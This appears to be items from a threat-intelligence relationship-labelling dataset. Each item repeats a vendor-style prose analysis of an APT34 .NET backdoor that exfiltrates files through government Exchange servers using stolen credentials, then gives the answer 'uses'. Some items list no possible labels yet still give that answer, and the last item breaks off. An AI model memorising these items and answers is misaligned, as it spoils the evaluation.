However, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.
Figure 11. Checking the config file path ngb
The malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.
Figure 12. Initialize EWS binding to the victim mail server
The malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.
Figure 13. Iterating through the files found under the target path
The final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject “Exchange Default Message”, and a mail body content of “Exchange Server is testing services.” The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.
Figure 14. Exfiltrating files using mail attachments
Figure 15. Some hardcoded targets in the sample
Figure 16. How the Sent folder looks like for a compromised user
APT34 Targeting and Arsenal Evolution
APT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques — from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic — to bypass any security policies enforced on the network perimeters.
From three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.
For instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.
Moreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.
Based on a 2019 report on APT34, the top countries targeted by the group are:
* The United Arab Emirates
* China
* Jordan
* Saudi Arabia
While not at the top of the group’s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
APT34
### Target Entity: Saitama
### Possible Relationship Labels:
[]
### Text Passage:
**Data Exfiltration Through Legitimate Mail Traffic**
The main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.
Figure 10. High level overview of malware’s data exfiltration routine
First, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:
* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.
* Target: The email addresses where the malicious actors receive the exfiltrated data in.
* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.
However, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.
Figure 11. Checking the config file path ngb
The malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.
Figure 12. Initialize EWS binding to the victim mail server
The malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.
Figure 13. Iterating through the files found under the target path
The final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject “Exchange Default Message”, and a mail body content of “Exchange Server is testing services.” The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.
Figure 14. Exfiltrating files using mail attachments
Figure 15. Some hardcoded targets in the sample
Figure 16. How the Sent folder looks like for a compromised user
APT34 Targeting and Arsenal Evolution
APT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques — from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic — to bypass any security policies enforced on the network perimeters.
From three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.
For instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.
Moreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.
Based on a 2019 report on APT34, the top countries targeted by the group are:
* The United Arab Emirates
* China
* Jordan
* Saudi Arabia
While not at the top of the group’s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
APT34
### Target Entity: Karkoff
### Possible Relationship Labels:
[]
### Text Passage:
**Data Exfiltration Through Legitimate Mail Traffic**
The main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.
Figure 10. High level overview of malware’s data exfiltration routine
First, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:
* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.
* Target: The email addresses where the malicious actors receive the exfiltrated data in.
* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.
However, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.
Figure 11. Checking the config file path ngb
The malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.
Figure 12. Initialize EWS binding to the victim mail server
The malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.
Figure 13. Iterating through the files found under the target path
The final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject “Exchange Default Message”, and a mail body content of “Exchange Server is testing services.” The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.
Figure 14. Exfiltrating files using mail attachments
Figure 15. Some hardcoded targets in the sample
Figure 16. How the Sent folder looks like for a compromised user
APT34 Targeting and Arsenal Evolution
APT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques — from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic — to bypass any security policies enforced on the network perimeters.
From three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.
For instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.
Moreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.
Based on a 2019 report on APT34, the top countries targeted by the group are:
* The United Arab Emirates
* China
* Jordan
* Saudi Arabia
While not at the top of the group’s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
APT34
### Target Entity: .Net
### Possible Relationship Labels:
[]
### Text Passage:
**Data Exfiltration Through Legitimate Mail Traffic**
The main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.
Figure 10. High level overview of malware’s data exfiltration routine
First, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:
* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.
* Target: The email addresses where the malicious actors receive the exfiltrated data in.
* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.
However, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.
Figure 11. Checking the config file path ngb
The malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.
Figure 12. Initialize EWS binding to the victim mail server
The malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.
Figure 13. Iterating through the files found under the target path
The final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject “Exchange Default Message”, and a mail body content of “Exchange Server is testing services.” The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.
Figure 14. Exfiltrating files using mail attachments
Figure 15. Some hardcoded targets in the sample
Figure 16. How the Sent folder looks like for a compromised user
APT34 Targeting and Arsenal Evolution
APT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques — from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic — to bypass any security policies enforced on the network perimeters.
From three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.
For instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.
Moreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.
Based on a 2019 report on APT34, the top countries targeted by the group are:
* The United Arab Emirates
* China
* Jordan
* Saudi Arabia
While not at the top of the group’s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
APT34
### Target Entity: .Net backdoor
### Possible Relationship Labels:
[]
### Text Passage:
**Data Exfiltration Through Legitimate Mail Traffic**
The main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.
Figure 10. High level overview of malware’s data exfiltration routine
First, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:
* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.
* Target: The email addresses where the malicious actors receive the exfiltrated data in.
* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.
However, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.
Figure 11. Checking the config file path ngb
The malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.
Figure 12. Initialize EWS binding to the victim mail server
The malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.
Figure 13. Iterating through the files found under the target path
The final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject “Exchange Default Message”, and a mail body content of “Exchange Server is testing services.” The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.
Figure 14. Exfiltrating files using mail attachments
Figure 15. Some hardcoded targets in the sample
Figure 16. How the Sent folder looks like for a compromised user
APT34 Targeting and Arsenal Evolution
APT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques — from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic — to bypass any security policies enforced on the network perimeters.
From three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.
For instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.
Moreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.
Based on a 2019 report on APT34, the top countries targeted by the group are:
* The United Arab Emirates
* China
* Jordan
* Saudi Arabia
While not at the top of the group’s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
APT34
### Target Entity: Microsoft Exchange
### Possible Relationship Labels:
['uses', 'is not related to', 'not sure']
### Text Passage:
**Data Exfiltration Through Legitimate Mail Traffic**
The main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.
Figure 10. High level overview of malware’s data exfiltration routine
First, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:
* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.
* Target: The email addresses where the malicious actors receive the exfiltrated data in.
* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.
However, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.
Figure 11. Checking the config file path ngb
The malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.
Figure 12. Initialize EWS binding to the victim mail server
The malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.
Figure 13. Iterating through the files found under the target path
The final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject “Exchange Default Message”, and a mail body content of “Exchange Server is testing services.” The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.
Figure 14. Exfiltrating files using mail attachments
Figure 15. Some hardcoded targets in the sample
Figure 16. How the Sent folder looks like for a compromised user
APT34 Targeting and Arsenal Evolution
APT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques — from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic — to bypass any security policies enforced on the network perimeters.
From three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.
For instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.
Moreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.
Based on a 2019 report on APT34, the top countries targeted by the group are:
* The United Arab Emirates
* China
* Jordan
* Saudi Arabia
While not at the top of the group’s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
APT34
### Target Entity: Excel
### Possible Relationship Labels:
['uses', 'is not related to', 'not sure']
### Text Passage:
**Data Exfiltration Through Legitimate Mail Traffic**
The main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.
Figure 10. High level overview of malware’s data exfiltration routine
First, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:
* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.
* Target: The email addresses where the malicious actors receive the exfiltrated data in.
* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.
However, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.
Figure 11. Checking the config file path ngb
The malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.
Figure 12. Initialize EWS binding to the victim mail server
The malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.
Figure 13. Iterating through the files found under the target path
The final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject “Exchange Default Message”, and a mail body content of “Exchange Server is testing services.” The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.
Figure 14. Exfiltrating files using mail attachments
Figure 15. Some hardcoded targets in the sample
Figure 16. How the Sent folder looks like for a compromised user
APT34 Targeting and Arsenal Evolution
APT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques — from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic — to bypass any security policies enforced on the network perimeters.
From three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.
For instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.
Moreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.
Based on a 2019 report on APT34, the top countries targeted by the group are:
* The United Arab Emirates
* China
* Jordan
* Saudi Arabia
While not at the top of the group’s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
APT34
### Target Entity: EWS
### Possible Relationship Labels:
[]
### Text Passage:
**Data Exfiltration Through Legitimate Mail Traffic**
The main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.
Figure 10. High level overview of malware’s data exfiltration routine
First, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:
* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.
* Target: The email addresses where the malicious actors receive the exfiltrated data in.
* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.
However, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.
Figure 11. Checking the config file path ngb
The malware proceeds to initialize an ExchangeService object in the first step and supplies the stolen credentials as WebCredentials to interface with the victim mail server in the second step. Using these Exchange Web Service (EWS) bindings, the malicious actor can send mails to external recipients on behalf of any stolen user and initialize a new instance of the WebCredentials class with the username and password for the account to authenticate.
Figure 12. Initialize EWS binding to the victim mail server
The malware then iterates through the files found under the target path. For each file found, it adds its path to a list, which will be exfiltrated later in the last step.
Figure 13. Iterating through the files found under the target path
The final stage is to iterate over the collected list of file paths. For each path, it prepares an EmailMessage object with the subject “Exchange Default Message”, and a mail body content of “Exchange Server is testing services.” The iteration attaches the whole file to this EmailMessage object and sends it using the previous initalized EWS form (Steps 1 and 2 in Figure 10), which already authenticated the user account.
Figure 14. Exfiltrating files using mail attachments
Figure 15. Some hardcoded targets in the sample
Figure 16. How the Sent folder looks like for a compromised user
APT34 Targeting and Arsenal Evolution
APT34 has been documented to target organizations worldwide, particularly companies from the financial, government, energy, chemical, and telecommunications industries in the Middle East since at least 2014. Documented as a group primarily involved for cyberespionage, APT34 has been previously recorded targeting government offices and show no signs of stopping with their intrusions. Our continuous monitoring of the group proves it continues to create new and updated tools to minimize the detection of their arsenal: Shifting to new data exfiltration techniques — from the heavy use of DNS-based command and control (C&C) communication to combining it with the legitimate simple mail transfer protocol (SMTP) mail traffic — to bypass any security policies enforced on the network perimeters.
From three previously documented attacks, we observed that while the group uses simple malware families, these deployments show the group's flexibility to write new malware based on researched customer environments and levels of access. This level of skill can make attribution for security researchers and reverse engineers more difficult in terms of tracking and monitoring because patterns, behaviors, and tools can be completely different for every compromise.
For instance, in the two separate attacks using Karkoff (detected by Trend Micro as Backdoor.MSIL.OILYFACE.A) in 2020 and Saitama (detected by Trend Micro as Backdoor.MSIL.AMATIAS.THEAABB) in 2022, the group used macros inside Excel files as part of the first stage to send phishing emails since the group did not have access to the enterprise yet. Contrary to this newest compromise, however, the first stage was rewritten completely in DotNet and executed by the actor directly.
Moreover, Karkoff malware has a full backdoor module using a government exchange server as a communication channel via send/received commands over an exchanged server, and used a hardcoded account to authenticate the said communication. Compared to the new malware, the latest compromise seems to be rewritten to use the same technique but only to exfiltrate data over the mail channel. Aside from using hardcoded accounts as exchange accounts, APT34 can add a new module that can monitor changes in passwords and use the new accounts to send mails, exfiltrating data via Microsoft Exchange servers.
Based on a 2019 report on APT34, the top countries targeted by the group are:
* The United Arab Emirates
* China
* Jordan
* Saudi Arabia
While not at the top of the group’s list, other countries in the Middle East considered as targets are Qatar, Oman, Kuwait, Bahrain, Lebanon, and Egypt.
|
<label>uses</label>
|
You are a helpful threat intelligence analyst. Your task is to identify the label of the relationship between the source entity and the target entity in the provided text passage. To help you, we provide all the possible relationship labels between the source and target entities.
Answer in the following format: <label>Your chosen label</label>
|
### Source Entity:
Saitama
### Target Entity: .Net backdoor
### Possible Relationship Labels:
[]
### Text Passage:
**Data Exfiltration Through Legitimate Mail Traffic**
The main backdoor function (detected by Trend Micro as Backdoor.MSIL.REDCAP.A) receives the valid domain credentials as an argument and uses it to log on to the Exchange Server and use it for data exfiltration purposes. The main function of this stage is to take the stolen password from the argument and send it to the attackers as an attachment in an email. We also observed that the threat actors relay these emails via government Exchange Servers using vaild accounts with stolen passwords.
Figure 10. High level overview of malware’s data exfiltration routine
First, the .Net backdoor parses a config file dropped in the main root path where it is executing from and checks for a file callled _ngb_ inside to extract three parameters:
* Server: The specific Exchange mail server for the targeted government entity where the data is leaked through.
* Target: The email addresses where the malicious actors receive the exfiltrated data in.
* Domain: The internal active directory (AD) domain name related to the targeted government entity in the Middle East.
However, the malware also supports for the modification of old passwords to new ones, which are sent through the registered DLL password filter.
Figure 11. Checking the config file path ngb
